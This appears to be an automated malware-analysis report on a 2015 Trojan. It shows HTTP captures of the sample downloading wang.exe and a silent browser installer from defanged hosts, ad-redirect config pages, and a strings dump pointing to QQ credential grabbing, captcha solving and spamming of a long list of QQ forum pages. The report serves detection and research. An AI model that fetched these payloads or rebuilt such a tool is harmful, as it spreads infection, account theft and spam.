, 23 Jul 2015 08:08:50 GMT..Content-Length: 1803470..Content-Type: app
lication/octet-stream..Content-Location: hXXp://56.doudousoft.com/upda
ta/......../wang.exe..Content-Range: bytes 772914-2576383/2576384..Las
t-Modified: Tue, 07 Oct 2014 02:54:04 GMT..Accept-Ranges: bytes..ETag:
 "af2c7ef4d9e1cf1:509e"..Server: IIS..X-Powered-By: WAF/2.0.....(.]..2
......M.......M.......P.].........u........M..C....M............].
<<< skipped >>>


GET /updata/......../wang.exe HTTP/1.1
Host: 56.doudousoft.com
Accept: */*
Referer: hXXp://56.doudousoft.com/updata/........
User-Agent: Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)
Range: bytes=1030552-
Pragma: no-cache
Cache-Control: no-cache
Connection: close


HTTP/1.1 206 Partial Content
Connection: close
Date: Thu, 23 Jul 2015 08:08:51 GMT
Content-Length: 1545832
Content-Type: application/octet-stream
Content-Location: hXXp://56.doudousoft.com/updata/......../wang.exe
Content-Range: bytes 1030552-2576383/2576384
Last-Modified: Tue, 07 Oct 2014 02:54:04 GMT
Accept-Ranges: bytes
ETag: "af2c7ef4d9e1cf1:509e"
Server: IIS
X-Powered-By: WAF/2.0
@n...4...f=?Y.V.|.~6..b.)|N.\...:%,ÿ........VR&.'.<...^..6...2...
.... P~.Q.jt....&.......m....nH.....Uf.n.^...S.S..!6maw5..?......v.c..
<3...Eu;V...m~..m..Y6..F"..~.R..nn [email protected]$....)j.C.._.N..&g
t;..Q3.....$r..N.......`f........>....ON..F. ...(u...........S....d
....sF.....T..^"D\......:......2,[email protected].^._.....G.V.:c@8.?G.^..R.
.n=.@G"......J...D.J..e...].....?1`........3... .nF.[.V........Od.|.v.
...h.@".?_4.)i.w.......^F.^.......Bn.j...M.b...Cv..jF.~...I...Q&v.]..'
a.P..l..Z....s.'.B9..%h.jZ......m..._|.....>......%......M.a..F~.b@
...-V#.X..w.I.V...7..K../......W..A...-0RI.H..b~..A/.&f..K..[.r~ ....B
.&...}.p ..'...Z.O._.(XGS.j.....U......7&...5E?..?.m..8v'[Z....Dip..&g
t;BnR./.aH.\........Ajf.!...'.(^^|Vh.'...:......_..S....DYx$4....... w
.?...b.......v.......FAf...e.a.N5.........>.-...c.K64.! 7......7'._
o.E4^F.k.z.....f\4.-....\...!b...^.;xY....%.>............$........(
..I....`.......Y...2..s..#.A....Yv.......n.........0>......V.......
....!.j..V.../>.T.......K^.:...a.......?OF....~..'\.....W..k.......
.....7....K.S../\T...@UOCJ'6.O..v.....]#"...O.]..u.Ed..[.=6.C........V
...;..n.j..P.H....\5.?V.....A..>.~..........~..:DNq......F?:.....?.
....7.6...Z..oFH.$/[...[....7... zT.4'.uG9.X...^w...`>Y.i....O~....
sV..^y^...^#.>....3.GXG.Vzf...E..N.....~'....o..x3)6%.E.....^o....d
[email protected]....?^..!...jp..{NE.V.V..)[email protected].=o<.....j.b.E..
..m.I.... G....E.A.<Bi...H."..N..!C^..sT....'...9...% hAC....0._.}.
a..5....>.}...LT.KW../[email protected].'n [email protected]
<<< skipped >>>


GET /ini/liuliang/wang.html HTTP/1.1
Referer: hXXp://56.doudousoft.com/ini/liuliang/wang.html
Accept: */*
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
Host: 56.doudousoft.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Thu, 23 Jul 2015 08:08:17 GMT
Content-Length: 1394
Content-Type: text/html
Content-Location: hXXp://56.doudousoft.com/ini/liuliang/wang.html
Last-Modified: Mon, 09 Feb 2015 08:25:13 GMT
Accept-Ranges: bytes
ETag: "2ac01bed4144d01:509e"
Server: IIS
X-Powered-By: WAF/2.0
Set-Cookie: safedog-flow-item=04BB3AA94037E5C323362778CE366DBD; expires=Thur, 23-Jul-2015 16:00:17 GMT; domain=doudousoft.com; path=/
[........]XXXX[/........]<br>..[............]..[/............]&l
t;br>..[........]5000[/........]<br>..[............]..[/.....
.......]<br>..[........]hXXp://56.doudousoft.com/updata/........
/wang.exe[/........]<br>..[............]wang.exe[/............]&
lt;br>..[......]..........BUG..[/......]<br>..[..........]...
......html[/..........]<br>..[............]..[/............]<
br>..[........]hXXp://VVV.shendusoft.com[/........]<br>..[...
...........]..[/..............]<br>..[..........]hXXp://56.doudo
usoft.com/guanggao.html[/..........]<br>..[..................]..
[/..................]<br>..[..............]hXXp://u.126it.com[/.
.............]<br>..[................]..[/................]<b
r>..[............]hXXp://VVV.2345.com/?26263[/............]<br&g
t;..[....................]..[/....................]<br>..[......
..........]hXXp://VVV.2345.com/?26263[/................]<br>..[.
...............]2345.........lnk[/................]<br>..<scr
ipt type="text/javascript">var cnzz_protocol = (("https:" == docume
nt.location.protocol) ? " hXXps://" : " hXXp://");document.write(unesc
ape(""));</script>..hXXp://hao
123.gsie.cn/?id=58170........hXXp://VVV.hao123.com/?tn=99502910_hao_pg
..hXXp://VVV.2345.com/?k865673....
<<< skipped >>>

GET /ini/liuliang/config.html HTTP/1.1


Referer: hXXp://56.doudousoft.com/ini/liuliang/config.html
Accept: */*
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
Host: 56.doudousoft.com
Cache-Control: no-cache
Cookie: safedog-flow-item=04BB3AA94037E5C323362778CE366DBD


HTTP/1.1 200 OK
Date: Thu, 23 Jul 2015 08:08:18 GMT
Content-Length: 1704
Content-Type: text/html
Content-Location: hXXp://56.doudousoft.com/ini/liuliang/config.html
Last-Modified: Wed, 25 Mar 2015 01:47:15 GMT
Accept-Ranges: bytes
ETag: "a4e199f9d66d01:509e"
Server: IIS
X-Powered-By: WAF/2.0
[........]XXXX[/........]<br>..[............]..[/............]&l
t;br>..[........]5000[/........]<br>..[............1]..[/....
........1]<br>..[........2][/........2]<br>..[............
2][/............2]<br>..[........1][/........1]<br>..[....
........1][/............1]<br>....[............]..[/............
]<br>..[........]hXXp://VVV.zhanzhangsoft.com/updata/7654/2345Ex
plorer_330372_silence.exe[/........]<br>..[............]2345Expl
orer_330372_silence.exe[/............]<br>..[......]..........BU
G..<meta http-equiv=Pragma content=no-cache><Meta http-equiv=
"refresh" content="1;url=hXXp://VVV.yingxiaoniu.com/?ref=14&custom=ben
digengxin">[/......]<br>..[..........].........html[/........
..]<br>..[............]..[/............]<br>..[........]ht
tp://VVV.yingxiaoniu.com/?ref=14&custom=liuliang[/........]<br>.
.[..............]..[/..............]<br>..[..........]hXXp://56.
doudousoft.com/guanggao.html[/..........]<br>..[................
..]..[/..................]<br>..[..............]hXXp://VVV.u.126
it.com[/..............]<br>..[..............1][/..............1]
<br>..[................]..[/................]<br>..[......
......]hXXp://VVV.2345.com/?26263[/............]<br>..[.........
...........]..[/....................]<br>..[................]htt
p://VVV.2345.com/?26263[/................]<br>..[...............
.].........lnk[/................]<br>....<script type="te
<<< skipped >>>

The Trojan connects to the servers at the folowing location(s):

%original file name%.exe_1616:

.text
`.rdata
@.data
.rsrc
t$(SSh
~%UVW
u$SShe
wininet.dll
winmm.dll
ole32.dll
user32.dll
OLEACC.DLL
gdiplus.dll
kernel32.dll
gdi32.dll
advapi32.dll
HttpOpenRequestA
HttpSendRequestA
HttpQueryInfoA
GdiplusShutdown
MsgWaitForMultipleObjects
RegCreateKeyA
RegOpenKeyA
RegEnumKeyA
RegCloseKey
RegFlushKey
RegOpenKeyExA
RegCreateKeyExA
RegDeleteKeyA
`.data
MSVBVM60.DLL
QQclientkey
controlLogin
LoginFrm
.0123456789:
()* ,-.&/
%&'()* ,-.
000"""}}}
uuu.ppp
999---%%%
///000?@@
IIIEEE%%Îd
|||{{{|||
:::777555777;;;
loginShow
PassWord
vb6chs.dll
QQSenderSoft.controlGroup
QQSenderSoft.controlSend
QQSenderSoft.controlMore
QQSenderSoft.controlFriend
QQSenderSoft.controlLogin
QQSenderSoft.controlFriendQiye
QQSenderSoft.lshh
QQSenderSoft.controlHuanIp
QQSenderSoft.controlEmailQf
QQSenderSoft.controlPiaoLP
QQSenderSoft.controlBlog
QQSenderSoft.controlWeiBlog
QQSenderSoft.ControlZone
QQSenderSoft.ControlDiscussion
QQSenderSoft.DesktopFindPic
QQSenderSoft.QQclientkey
QQSenderSoft.ucAniGIF
ieframe.dll
SHDocVwCtl.WebBrowser
WebBrowser
MSCOMCTL.OCX
MSComctlLib.TabStrip
MSComctlLib.ListView
MSComctlLib.ImageCombo
MSCOMCT2.OCX
MSComCtl2.UpDown
TABCTL32.OCX
TabDlg.SSTab
Comdlg32.ocx
MSComDlg.CommonDialog
RICHTX32.OCX
RichTextLib.RichTextBox
MSINET.OCX
InetCtlsObjects.Inet
LoginInfo
SimKeybd
Login
XMLHTTP
frmQQZoneLogin
%Program Files% (x86)\Microsoft Visual Studio\VB98\VB6.OLB
cmdPushOut
WebBrowser1
%Program Files% (x86)\Microsoft Visual Studio\VB98\vbc06223.oca
txtKeyWords
C:\Users\bfb100\Desktop\
\MSCOMCTL.oca
*C:\windows\SysWOW64\MSCOMCT2.oca
cmdClear
cmdReset
cmdPushIn
cmdAdd
cmdClearLog
cmdSetBegin
cmdDelete
cmdJoin
keybd_event
UrlEncode_GBToUtf8_V2
getHTTPPage1
VBA6.DLL
LoginQQ
GetQQlogin
ShowUrl
C:\windows\SysWOW64\TABCTL32.oca
4controlLogin1
webAd
dwmapi.dll
EnumWindows
EnumChildWindows
ZtQQclientkey1
DeleteUrlCacheEntry
getqqKey
LoginQQZone
ShowLogin
urlmon
URLDownloadToFileA
getMsgText
setWindowsTop
tbxPassword
shell32.dll
ShellExecuteA
RasApi32.dll
C:\windows\SysWOW64\RICHTX32.oca
labNick
cmdSave
chkJoinQunChengYuan
cmdSend
oleaut32.dll
CmdsendCaption
SendmsgGruopCY
chkReLogin
cmdDefault
cmdBegin
searchKeyword
labLoginQQ
C:\windows\SysWOW64\MSINET.oca
WebBrowser2
Keywords
WebFindBQ
6loginShow
RWXComLoginOut
\Library\RWXComLibrary.tlb
comctl32.dll
SkinH_VB6.dll
RWXComLoginOut_LoginOut
TrayInfo.dll
pauseLogin
loginSelect
loginAll
loginSelectMenu
MapVirtualKeyA
SaveQQlogin
Keyevents
psapi.dll
DeleteUrlCacheEntryA
C:\windows\SysWow64\msvbvm60.dll\3
FindFirstUrlCacheGroup
FindNextUrlCacheGroup
DeleteUrlCacheGroup
FindFirstUrlCacheEntryA
FindNextUrlCacheEntryA
searchQiyeKeyword
Getcmdsend
RegEnumKeyExA
UUWiseHelper.dll
uu_loginA
uu_recognizeByCodeTypeAndUrlA
uu_reportError
cmdStart
txtPassWord
txtAdslPassWord
txt_VpnPass
cmdTry
wininet.dll
URLEncode
QQUserPass
GetMsg
cmdValidate
Cmdblog
TxtMsg
txtKeyWord
LbMsg
Version.dll
getzoneSaySayMsg
WebKey
msvbvm60.dll
C:\Windows\SysWOW64\stdole2.tlb
N.aqXshC
"QQ.exe"
Webbrowser1
QQclientkey1
,hXXp://bbs.games.qq.com/f-1000087225-1.htm,
,hXXp://bbs.games.qq.com/f-1000088047-1.htm,
,hXXp://bbs.games.qq.com/f-1001483726-1.htm,
,hXXp://bbs.games.qq.com/f-1001483725-1.htm,
,hXXp://bbs.games.qq.com/f-1000086643-1.htm,
,hXXp://bbs.games.qq.com/f-199-1.htm,
,hXXp://bbs.games.qq.com/f-1000087228-1.htm,
,hXXp://bbs.games.qq.com/f-1000087227-1.htm,
,hXXp://bbs.games.qq.com/f-1001026853-1.htm,
,hXXp://bbs.games.qq.com/f-1001483711-1.htm,
,hXXp://bbs.games.qq.com/f-1001483714-1.htm,
,hXXp://bbs.games.qq.com/f-1001483715-1.htm,
,hXXp://bbs.games.qq.com/f-1000004070-1.htm,
,hXXp://bbs.games.qq.com/f-1001483712-1.htm,
3,hXXp://bbs.games.qq.com/f-1001483710-1.htm,
3,hXXp://bbs.games.qq.com/f-1001483716-1.htm,
online,hXXp://bbs.games.qq.com/f-1001483737-1.htm,
,hXXp://bbs.games.qq.com/f-1000085793-1.htm,
,hXXp://bbs.games.qq.com/f-1000004091-1.htm,
,hXXp://bbs.gam
es.qq.com/f-1001468887-1.htm,
,hXXp://bbs.games.qq.com/f-1000004082-1.htm,
,hXXp://bbs.games.qq.com/f-1000004081-1.htm,
OL,hXXp://bbs.games.qq.com/f-1001025774-1.htm,
3,hXXp://bbs.games.qq.com/f-1000687870-1.htm,
2,hXXp://bbs.games.qq.com/f-1001405450-1.htm,
,hXXp://bbs.games.qq.com/f-1000004074-1.htm,
,hXXp://bbs.games.qq.com/f-1001025779-1.htm,
,hXXp://bbs.games.qq.com/f-1001345185-1.htm,QQ
,hXXp://bbs.games.qq.com/f-1001024052-1.htm,
,hXXp://bbs.games.qq.com/f-1001027121-1.htm,
,hXXp://bbs.games.qq.com/f-1001025901-1.htm,
,hXXp://bbs.games.qq.com/f-1001177497-1.htm,
,hXXp://bbs.games.qq.com/f-1001036810-1.htm,
,hXXp://bbs.games.qq.com/f-1001025922-1.htm,
,hXXp://bbs.games.qq.com/f-1000227438-1.htm,
,hXXp://bbs.games.qq.com/f-1001027143-1.htm,
,hXXp://bbs.games.qq.com/f-1001027145-1.htm,
,hXXp://bbs.games.qq.com/f-1001023961-1.htm,
,hXXp://bbs.games.qq.com/f-1001472768-1.htm,QQ
,hXXp://bbs.g
ames.qq.com/f-1001177798-1.htm,QQ
,hXXp://bbs.games.qq.com/f-1001027144-1.htm,QQ
,hXXp://bbs.games.qq.com/f-1001023964-1.htm,QQ
,hXXp://bbs.games.qq.com/f-1001027146-1.htm,QQ
,hXXp://bbs.games.qq.com/f-1001027116-1.htm,QQ
,hXXp://bbs.games.qq.com/f-1001267494-1.htm,QQ
,hXXp://bbs.games.qq.com/f-1001027092-1.htm,QQ
,hXXp://bbs.games.qq.com/f-1001468337-1.htm,
,hXXp://bbs.games.qq.com/f-1001468338-1.htm,QQ
,hXXp://bbs.games.qq.com/f-1001483735-1.htm,QQ
,hXXp://bbs.games.qq.com/f-1001027147-1.htm,QQ
,hXXp://bbs.games.qq.com/f-1001483741-1.htm,
,hXXp://bbs.games.qq.com/f-1001483742-1.htm,
,hXXp://bbs.games.qq.com/f-1001483738-1.htm,
:A~D,hXXp://bbs.games.qq.com/f-48-1.htm,
:E~H,hXXp://bbs.games.qq.com/f-49-1.htm,
:I-L,hXXp://bbs.games.qq.com/f-106-1.htm,
:M~P,hXXp://bbs.games.qq.com/f-50-1.htm,
:Q~T,hXXp://bbs.games.qq.com/f-51-1.htm,
:W~Z,hXXp://bbs.games.qq.com/f-52-1.htm,
,hXXp://bbs.games.qq.com/f-1001483724-1.htm,
,hXXp://bbs.games.qq.com/f-1001024169-1.htm|
,hXXp://bbs.astro.qq.com/f-1000004220-1.htm,
,hXXp://bbs.astro.qq.com/f-1000004221-1.htm,
,hXXp://bbs.astro.qq.com/f-1000004214-1.htm,
,hXXp://bbs.astro.qq.com/f-1000004217-1.htm,
,hXXp://bbs.astro.qq.com/f-1000004219-1.htm,
,hXXp://bbs.astro.qq.com/f-1000004213-1.htm,
,hXXp://bbs.astro.qq.com/f-1000004212-1.htm,
,hXXp://bbs.astro.qq.com/f-1000004211-1.htm,
,hXXp://bbs.astro.qq.com/f-1000004216-1.htm,
,hXXp://bbs.astro.qq.com/f-1000004222-1.htm,
,hXXp://bbs.astro.qq.com/f-1000004215-1.htm,
,hXXp://bbs.astro.qq.com/f-1000004218-1.htm,
,hXXp://bbs.astro.qq.com/f-1000087967-1.htm,
,hXXp://bbs.astro.qq.com/f-1000004207-1.htm,
,hXXp://bbs.astro.qq.com/f-1000004208-1.htm,
,hXXp://bbs.astro.qq.com/f-1000087971-1.htm,
,hXXp://bbs.astro.qq.com/f-1000004204-1.htm,
,hXXp://bbs.astro.qq.com/f-1000004210-1.htm,
,hXXp://bbs.astro.qq.com/f-1000087972-1.htm,
,hXXp://bbs.astro.qq.com/f-1000004206-1.htm,
,hXXp://bbs.astro.qq.com/f-1000004205-1.htm,
,hXXp://bbs.astro.qq.com/f-1000087968-1.htm,
,hXXp://bbs.astro.qq.com/f-1000004209-1.htm,
,hXXp://bbs.astro.qq.com/f-1000087969-1.htm,
,hXXp://bbs.astro.qq.com/f-1000004203-1.htm,
,hXXp://bbs.astro.qq.com/f-1000087970-1.htm,
,hXXp://bbs.astro.qq.com/f-1000087975-1.htm,
,hXXp://bbs.astro.qq.com/f-1000087976-1.htm|
,hXXp://bbs.comic.qq.com/f-1000000582-1.htm,
,hXXp://bbs.comic.qq.com/f-1001024120-1.htm,
,hXXp://bbs.comic.qq.com/f-1001024121-1.htm,
,hXXp://bbs.comic.qq.com/f-1000004185-1.htm,
,hXXp://bbs.comic.qq.com/f-1001024124-1.htm,
,hXXp://bbs.comic.qq.com/f-1001239015-1.htm,
,hXXp://bbs.comic.qq.com/f-1001024122-1.htm,
,hXXp://bbs.comic.qq.com/f-1000087829-1.htm,
,hXXp://bbs.comic.qq.com/f-1001024123-1.htm,
,hXXp://bbs.comic.qq.com/f-1001024125-1.htm,NANA,hXXp://bbs.comic.qq.com/f-1000087837-1
.htm,
,hXXp://bbs.comic.qq.com/f-1001239026-1.htm,
,hXXp://bbs.comic.qq.com/f-1000087830-1.htm,
,hXXp://bbs.comic.qq.com/f-1000087831-1.htm,
,hXXp://bbs.comic.qq.com/f-1001239014-1.htm,
,hXXp://bbs.comic.qq.com/f-1000087832-1.htm,
,hXXp://bbs.comic.qq.com/f-1000087841-1.htm,
,hXXp://bbs.comic.qq.com/f-1000087833-1.htm,
,hXXp://bbs.comic.qq.com/f-1000087834-1.htm,
,hXXp://bbs.comic.qq.com/f-1000087828-1.htm,
,hXXp://bbs.comic.qq.com/f-1000087827-1.htm,
,hXXp://bbs.comic.qq.com/f-1000087840-1.htm,
,hXXp://bbs.comic.qq.com/f-1000087842-1.htm,
,hXXp://bbs.comic.qq.com/f-1001239020-1.htm|
,hXXp://bbs.sports.qq.com/f-1000004441-1.htm,
,hXXp://bbs.sports.qq.com/f-1001471157-1.htm,
,hXXp://bbs.sports.qq.com/f-1000004448-1.htm,
,hXXp://bbs.sports.qq.com/f-1000000976-1.htm,
,hXXp://bbs.sports.qq.com/f-1000004386-1.htm,
,hXXp://bbs.sports.qq.com/f-1001026960-1.htm,
p://bbs.sports.qq.com/f-1001300082-1.htm,
,hXXp://bbs.sports.qq.com/f-1001241614-1.htm,
,hXXp://bbs.sports.qq.com/f-1001249344-1.htm,
,hXXp://bbs.sports.qq.com/f-1001471150-1.htm,
,hXXp://bbs.sports.qq.com/f-1001025758-1.htm,
,hXXp://bbs.sports.qq.com/f-1001055554-1.htm,
,hXXp://bbs.sports.qq.com/f-1001343708-1.htm,
,hXXp://bbs.sports.qq.com/f-1001343710-1.htm,
,hXXp://bbs.sports.qq.com/f-1001024178-1.htm,
,hXXp://bbs.sports.qq.com/f-1001471148-1.htm,
,hXXp://bbs.sports.qq.com/f-1000004413-1.htm,
,hXXp://bbs.sports.qq.com/f-1000004400-1.htm,
,hXXp://bbs.sports.qq.com/f-1000004405-1.htm,
,hXXp://bbs.sports.qq.com/f-1001057824-1.htm,
,hXXp://bbs.sports.qq.com/f-1000087929-1.htm,
,hXXp://bbs.sports.qq.com/f-1000004398-1.htm,
,hXXp://bbs.sports.qq.com/f-1001471147-1.htm,
,hXXp://bbs.sports.qq.com/f-1000087931-1.htm,
,hXXp://bbs.sports.qq.com/f-1001031818-1.htm,
,hXXp://bbs.sports.qq.com/f-100008495
0-1.htm,
,hXXp://bbs.sports.qq.com/f-1000004440-1.htm,
,hXXp://bbs.sports.qq.com/f-1000004443-1.htm,
,hXXp://bbs.sports.qq.com/f-1000004444-1.htm,
,hXXp://bbs.sports.qq.com/f-1001024170-1.htm,
,hXXp://bbs.sports.qq.com/f-1000004445-1.htm,NBA,hXXp://bbs.sports.qq.com/f-1000004389-1.htm,NIKE
,hXXp://bbs.sports.qq.com/f-1001232632-1.htm,
,hXXp://bbs.sports.qq.com/f-1001241613-1.htm,
,hXXp://bbs.sports.qq.com/f-1000087912-1.htm,
,hXXp://bbs.sports.qq.com/f-1000004391-1.htm,
,hXXp://bbs.sports.qq.com/f-1001471155-1.htm,
,hXXp://bbs.sports.qq.com/f-1001471156-1.htm,[
,hXXp://bbs.sports.qq.com/f-1001471153-1.htm,[
,hXXp://bbs.sports.qq.com/f-1001471154-1.htm|
,hXXp://bbs.finance.qq.com/f-1001024154-1.htm,
,hXXp://bbs.finance.qq.com/f-1001476708-1.htm,
,hXXp://bbs.finance.qq.com/f-1001024153-1.htm,
,hXXp://bbs.finance.qq.com/f-1001250755-1.htm,
,hXXp://bbs.finance.qq.co
m/f-1001024155-1.htm,
,hXXp://bbs.finance.qq.com/f-1001024152-1.htm,
,hXXp://bbs.finance.qq.com/f-1001058012-1.htm,
,hXXp://bbs.finance.qq.com/f-1001270497-1.htm,
,hXXp://bbs.finance.qq.com/f-1001220655-1.htm,
,hXXp://bbs.finance.qq.com/f-1001179597-1.htm,
,hXXp://bbs.finance.qq.com/f-1001413866-1.htm,
,hXXp://bbs.finance.qq.com/f-1001032429-1.htm,
,hXXp://bbs.finance.qq.com/f-1001195373-1.htm,
,hXXp://bbs.finance.qq.com/f-1001212496-1.htm,
,hXXp://bbs.finance.qq.com/f-1001179595-1.htm,
,hXXp://bbs.finance.qq.com/f-1001239030-1.htm,
,hXXp://bbs.finance.qq.com/f-1001249252-1.htm,
,hXXp://bbs.finance.qq.com/f-1001274267-1.htm,
,hXXp://bbs.finance.qq.com/f-1001286281-1.htm,
,hXXp://bbs.finance.qq.com/f-1001282514-1.htm,
,hXXp://bbs.finance.qq.com/f-1001248055-1.htm,
,hXXp://bbs.finance.qq.com/f-1001222840-1.htm,
,hXXp://bbs.finance.qq.com/f-1001343670-1.htm,
,http:
//bbs.finance.qq.com/f-1001448781-1.htm,
,hXXp://bbs.finance.qq.com/f-1001476707-1.htm,
,hXXp://bbs.finance.qq.com/f-1001335708-1.htm,
,hXXp://bbs.finance.qq.com/f-1001282567-1.htm,
,hXXp://bbs.finance.qq.com/f-1000083751-1.htm,
,hXXp://bbs.finance.qq.com/f-1001024161-1.htm,
,hXXp://bbs.finance.qq.com/f-1001024157-1.htm,
,hXXp://bbs.finance.qq.com/f-1001024165-1.htm,
,hXXp://bbs.finance.qq.com/f-1001024164-1.htm,
3.15,hXXp://bbs.finance.qq.com/f-1001024163-1.htm,
,hXXp://bbs.finance.qq.com/f-1001024162-1.htm,
,hXXp://bbs.finance.qq.com/f-1000087873-1.htm|
),hXXp://bbs.edu.qq.com/f-1000090392-1.htm,
,hXXp://bbs.edu.qq.com/f-1000090393-1.htm,
,hXXp://bbs.edu.qq.com/f-1000090390-1.htm,
,hXXp://bbs.edu.qq.com/f-1000090389-1.htm,
,hXXp://bbs.edu.qq.com/f-1000090394-1.htm,
,hXXp://bbs.edu.qq.com/f-1000090387-1.htm,
,hXXp://bbs.edu.qq.com/f-1000090399-1.htm,
,hXXp://bbs.edu.qq.com/f-10
00158380-1.htm,
,hXXp://bbs.edu.qq.com/f-1000158525-1.htm,
,hXXp://bbs.edu.qq.com/f-1000090419-1.htm,
,hXXp://bbs.edu.qq.com/f-1000090376-1.htm,
,hXXp://bbs.edu.qq.com/f-1000087509-1.htm,
,hXXp://bbs.edu.qq.com/f-1000158522-1.htm,
,hXXp://bbs.edu.qq.com/f-1001024140-1.htm,
,hXXp://bbs.edu.qq.com/f-1001024141-1.htm,
,hXXp://bbs.edu.qq.com/f-1001024142-1.htm,
,hXXp://bbs.edu.qq.com/f-1001024143-1.htm,
,hXXp://bbs.edu.qq.com/f-1001024145-1.htm,
,hXXp://bbs.edu.qq.com/f-1001024150-1.htm,
,hXXp://bbs.edu.qq.com/f-1001024154-1.htm,
,hXXp://bbs.edu.qq.com/f-1001024155-1.htm|
,hXXp://bbs.tech.qq.com/f-1000001185-1.htm,
,hXXp://bbs.tech.qq.com/f-1001024018-1.htm,
,hXXp://bbs.tech.qq.com/f-1001024017-1.htm,
,hXXp://bbs.tech.qq.com/f-1001024023-1.htm,
,hXXp://bbs.tech.qq.com/f-1000672148-1.htm,
,hXXp://bbs.tech.qq.com/f-1001024022-1.htm,
,hXXp://bbs.tech.qq.com/f-1001024021
-1.htm,
,hXXp://bbs.tech.qq.com/f-1001026942-1.htm,
,hXXp://bbs.tech.qq.com/f-1001026937-1.htm,
,hXXp://bbs.tech.qq.com/f-1001026941-1.htm,
,hXXp://bbs.tech.qq.com/f-1001026940-1.htm,
,hXXp://bbs.tech.qq.com/f-1001026943-1.htm|
,hXXp://bbs.fashion.qq.com/f-1001023923-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000004347-1.htm,
,hXXp://bbs.fashion.qq.com/f-1001258667-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000088039-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000004349-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000088044-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000088038-1.htm,
,hXXp://bbs.fashion.qq.com/f-1001026944-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000004348-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000088053-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000004361-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000088040-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000088041-1.htm,
,hXXp://bbs.fashion.qq.com/f-1001026945-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000088051-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000088049-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000090275-1.htm,
,hXXp://bbs.fashion.qq.com/f-1001024059-1.htm,
,hXXp://bbs.fashion.qq.com/f-1001026957-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000088043-1.htm,
,hXXp://bbs.fashion.qq.com/f-1001026955-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000088045-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000088099-1.htm,
,hXXp://bbs.fashion.qq.com/f-1001026956-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000088096-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000088097-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000088106-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000090297-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000090285-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000090305-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000090289-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000090290-1.htm,
,hXXp://bbs.fashion.qq.com/f-100
0090301-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000090292-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000090293-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000090294-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000090288-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000090287-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000090286-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000090284-1.htm,
,hXXp://bbs.fashion.qq.com/f-1001258636-1.htm,
,hXXp://bbs.fashion.qq.com/f-1001258635-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000090296-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000090302-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000090295-1.htm,
,hXXp://bbs.fashion.qq.com/f-1001026958-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000088052-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000090282-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000090299-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000090298-1.htm,
,hXXp://bbs.fashion.qq.com/f-1000090306-1.htm,
,hXXp://bbs.fashion.qq.com/f
-1000090283-1.htm,
,hXXp://bbs.fashion.qq.com/f-1001258637-1.htm,
,hXXp://bbs.fashion.qq.com/f-1001024131-1.htm,
,hXXp://bbs.fashion.qq.com/f-1001024061-1.htm,
,hXXp://bbs.fashion.qq.com/f-1001024062-1.htm,
,hXXp://bbs.fashion.qq.com/f-1001258668-1.htm|
,hXXp://bbs.baby.qq.com/f-1001366381-1.htm,
,hXXp://bbs.baby.qq.com/f-1001025811-1.htm,
,hXXp://bbs.baby.qq.com/f-1001025820-1.htm,
,hXXp://bbs.baby.qq.com/f-1001025804-1.htm,
,hXXp://bbs.baby.qq.com/f-1001025815-1.htm,
,hXXp://bbs.baby.qq.com/f-1001366378-1.htm,
,hXXp://bbs.baby.qq.com/f-1001027019-1.htm,
,hXXp://bbs.baby.qq.com/f-1001025817-1.htm|
,hXXp://bbs.blog.qq.com/f-1001026845-1.htm,
,hXXp://bbs.blog.qq.com/f-1001026846-1.htm,
,hXXp://bbs.blog.qq.com/f-1001026847-1.htm,
,hXXp://bbs.blog.qq.com/f-1001027097-1.htm,
,hXXp://bbs.blog.qq.com/f-1001027102-1.htm,
,hXXp://bbs.blog.qq.com/f-100102710
0-1.htm|
,hXXp://bbs.kid.qq.com/f-1001026999-1.htm,
,hXXp://bbs.kid.qq.com/f-1001027096-1.htm,
show,hXXp://bbs.kid.qq.com/f-1001026984-1.htm,
,hXXp://bbs.kid.qq.com/f-1001259025-1.htm,Q
,hXXp://bbs.kid.qq.com/f-1001031921-1.htm,
,hXXp://bbs.kid.qq.com/f-1001026987-1.htm,
,hXXp://bbs.kid.qq.com/f-1001026997-1.htm,
